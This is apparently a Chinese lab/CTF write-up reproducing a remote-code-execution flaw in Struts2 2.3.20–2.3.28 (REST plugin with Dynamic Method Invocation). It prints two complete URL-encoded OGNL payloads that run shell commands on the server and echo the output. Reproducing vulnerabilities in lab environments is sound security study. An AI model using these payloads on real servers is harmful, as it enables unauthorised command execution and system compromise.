描述
Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
Struts 2.3.20 - Struts Struts 2.3.28 (除2.3.20.3及2.3.24.3)版本,使用REST插件情况下,若启用了Dynamic Method Invocation,可能导致通过恶意表达式在服务器端执行任意代码。
复现
1.打开靶场环境 ,访问web页面

2.有回显poc(命令执行)
%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23process%3D@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]),%23ros%3D(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())%2C@org.apache.commons.io.IOUtils@copy(%23process.getInputStream()%2C%23ros)%2C%23ros.flush(),%23xx%3d123,%23xx.toString.json?&command=whoami

%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23process%3D@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]),%23ros%3D(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())%2C@org.apache.commons.io.IOUtils@copy(%23process.getInputStream()%2C%23ros)%2C%23ros.flush(),%23xx%3d123,%23xx.toString.json?&command=ls
3.用工具来获取flag

本文详细介绍了Struts2框架中的一个安全漏洞,该漏洞存在于Struts2.3.20到2.3.28版本(除了2.3.20.3和2.3.24.3),当启用REST插件且DynamicMethodInvocation配置为true时,攻击者可能通过恶意OGNL表达式执行任意代码。文章提供了漏洞复现步骤,包括访问特定的URL和使用命令执行POC,强调了这一漏洞对服务器安全的严重威胁。
955

被折叠的 条评论
为什么被折叠?



